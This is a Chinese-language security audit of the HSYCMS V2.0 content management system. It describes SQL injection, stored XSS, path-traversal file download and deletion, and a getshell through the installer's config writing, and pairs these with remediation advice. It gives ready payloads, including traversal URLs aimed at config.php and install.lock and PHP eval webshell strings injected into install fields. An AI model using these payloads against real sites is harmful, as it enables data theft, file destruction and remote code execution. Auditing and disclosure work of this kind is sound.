代码审计之某cms V2.0
字数 1543 2025-08-27 12:33:42

HSYCMS V2.0 安全审计报告与漏洞分析

前言

本报告基于对HSYCMS V2.0(基于ThinkPHP 5.0开发)的安全审计结果,详细分析了系统中存在的多个安全漏洞,包括SQL注入、XSS、任意文件下载、任意文件删除以及通过配置文件写入实现Getshell等安全问题。

1. SQL注入漏洞

漏洞位置

  • 文件:app/index/controller/Show.php中的index方法
  • 调用链:index方法 → prevNext函数

漏洞分析

  1. prevNext函数中使用字符串拼接方式构造SQL查询条件
  2. where方法直接使用字符串条件时,ThinkPHP不会进行预处理或过滤
  3. 变量$id来自用户输入且可控

关键代码

// 字符串条件直接查询示例
Db::table('think_user')->where('type=1 AND status=1')->select();
// 生成SQL: SELECT * FROM think_user WHERE type=1 AND status=1

安全建议

  • 使用预处理机制:
Db::table('think_user')
  ->where("id=:id and username=:name")
  ->bind(['id'=>[1,\PDO::PARAM_INT],'name'=>'thinkphp'])
  ->select();

漏洞利用

构造Payload:

/news/151) and if(#inject#,sleep(1),1) and ( 1=1

2. 存储型XSS漏洞

漏洞位置

  • 前端提交:app/index/controller/Show.php中的sendemail方法
  • 后台展示:app/hsycms/controller/Site.php控制器
  • 模板文件:app/hsycms/view/site/book.html

漏洞分析

  1. 前台接收POST数据直接存入数据库
  2. 后台取出数据后直接赋值给模板
  3. ThinkPHP 5.0模板引擎直接输出变量,未进行HTML实体编码

ThinkPHP版本差异

  • ThinkPHP 5.0:
// 模板: Hello,{$name}!
// 编译后: Hello,<?php echo($name);?>!
  • ThinkPHP 5.1:
// 模板: Hello,{$name}!
// 编译后: Hello,<?php echo htmlentities($name);?>!

漏洞利用

  1. 提交恶意留言(含XSS payload)
  2. 后台管理员查看留言时触发

3. 后台任意文件下载

漏洞位置

  • 文件:app/hsycms/controller/Database.php中的downloadsql方法
  • 参数:name参数未过滤

漏洞利用

构造Payload:

/index.php/hsycms/database/downloadsql/?name=/../../app/config.php

4. 后台任意文件删除

漏洞位置

  • 文件:app/hsycms/controller/Database.php中的delsql方法
  • 参数:name参数未过滤

漏洞利用

构造Payload:

/index.php/hsycms/database/delsql/?name=../../app/install/data/install.lock

5. 写配置文件Getshell

漏洞位置

  • 安装流程:app/install/controller/Index.php
    • config方法:将db数组写入session
    • sql方法:从session读取配置并写入文件
  • 配置文件写入:app/install/common.php中的write_config函数

漏洞分析

  1. 安装过程中对数据库配置参数过滤不严
  2. write_config函数仅做简单模板替换,未对内容进行安全校验

漏洞利用方法一(直接方式)

在数据库名称字段构造PHP代码:

';@eval($_POST['cmd']);//

漏洞利用方法二(复杂方式)

当直接方式被限制时,可在数据表前缀构造:

sy_user` set password=1 or '.@eval($_POST["q"]).'#

最终生成的SQL:

update `sy_user` set password=1 or '.@eval($_POST["q"]).'#user` 
set password='21232f297a57a5a743894a0e4a801fc3' where username='admin'

总结与安全建议

主要问题总结

  1. SQL查询未使用预处理机制
  2. 用户输入未充分过滤和转义
  3. 文件操作未进行路径校验
  4. 安装过程安全控制不足

安全开发建议

  1. SQL查询安全

    • 始终使用参数绑定和预处理
    • 避免直接拼接用户输入到SQL语句
  2. XSS防护

    • 对所有输出到HTML的内容进行HTML实体编码
    • 可使用ThinkPHP 5.1的自动过滤机制
  3. 文件操作安全

    • 对文件路径进行规范化处理
    • 限制文件操作目录范围
    • 检查文件名合法性
  4. 安装过程安全

    • 对写入配置文件的参数进行严格过滤
    • 安装完成后删除或保护安装脚本
  5. 其他建议

    • 实施最小权限原则
    • 对后台功能进行严格的权限控制
    • 定期进行安全审计和代码审查

通过本次审计可见,即使是基于成熟框架开发的系统,如果未能正确使用框架的安全特性,仍然会引入严重的安全漏洞。开发人员应深入理解框架的安全机制,并在开发过程中严格执行安全编码规范。

HSYCMS V2.0 安全审计报告与漏洞分析 前言 本报告基于对HSYCMS V2.0(基于ThinkPHP 5.0开发)的安全审计结果,详细分析了系统中存在的多个安全漏洞,包括SQL注入、XSS、任意文件下载、任意文件删除以及通过配置文件写入实现Getshell等安全问题。 1. SQL注入漏洞 漏洞位置 文件: app/index/controller/Show.php 中的 index 方法 调用链: index 方法 → prevNext 函数 漏洞分析 prevNext 函数中使用字符串拼接方式构造SQL查询条件 where 方法直接使用字符串条件时,ThinkPHP不会进行预处理或过滤 变量 $id 来自用户输入且可控 关键代码 安全建议 使用预处理机制: 漏洞利用 构造Payload: 2. 存储型XSS漏洞 漏洞位置 前端提交: app/index/controller/Show.php 中的 sendemail 方法 后台展示: app/hsycms/controller/Site.php 控制器 模板文件: app/hsycms/view/site/book.html 漏洞分析 前台接收POST数据直接存入数据库 后台取出数据后直接赋值给模板 ThinkPHP 5.0模板引擎直接输出变量,未进行HTML实体编码 ThinkPHP版本差异 ThinkPHP 5.0: ThinkPHP 5.1: 漏洞利用 提交恶意留言(含XSS payload) 后台管理员查看留言时触发 3. 后台任意文件下载 漏洞位置 文件: app/hsycms/controller/Database.php 中的 downloadsql 方法 参数: name 参数未过滤 漏洞利用 构造Payload: 4. 后台任意文件删除 漏洞位置 文件: app/hsycms/controller/Database.php 中的 delsql 方法 参数: name 参数未过滤 漏洞利用 构造Payload: 5. 写配置文件Getshell 漏洞位置 安装流程: app/install/controller/Index.php config 方法:将 db 数组写入session sql 方法:从session读取配置并写入文件 配置文件写入: app/install/common.php 中的 write_config 函数 漏洞分析 安装过程中对数据库配置参数过滤不严 write_config 函数仅做简单模板替换,未对内容进行安全校验 漏洞利用方法一(直接方式) 在数据库名称字段构造PHP代码: 漏洞利用方法二(复杂方式) 当直接方式被限制时,可在数据表前缀构造: 最终生成的SQL: 总结与安全建议 主要问题总结 SQL查询未使用预处理机制 用户输入未充分过滤和转义 文件操作未进行路径校验 安装过程安全控制不足 安全开发建议 SQL查询安全 : 始终使用参数绑定和预处理 避免直接拼接用户输入到SQL语句 XSS防护 : 对所有输出到HTML的内容进行HTML实体编码 可使用ThinkPHP 5.1的自动过滤机制 文件操作安全 : 对文件路径进行规范化处理 限制文件操作目录范围 检查文件名合法性 安装过程安全 : 对写入配置文件的参数进行严格过滤 安装完成后删除或保护安装脚本 其他建议 : 实施最小权限原则 对后台功能进行严格的权限控制 定期进行安全审计和代码审查 通过本次审计可见,即使是基于成熟框架开发的系统,如果未能正确使用框架的安全特性,仍然会引入严重的安全漏洞。开发人员应深入理解框架的安全机制,并在开发过程中严格执行安全编码规范。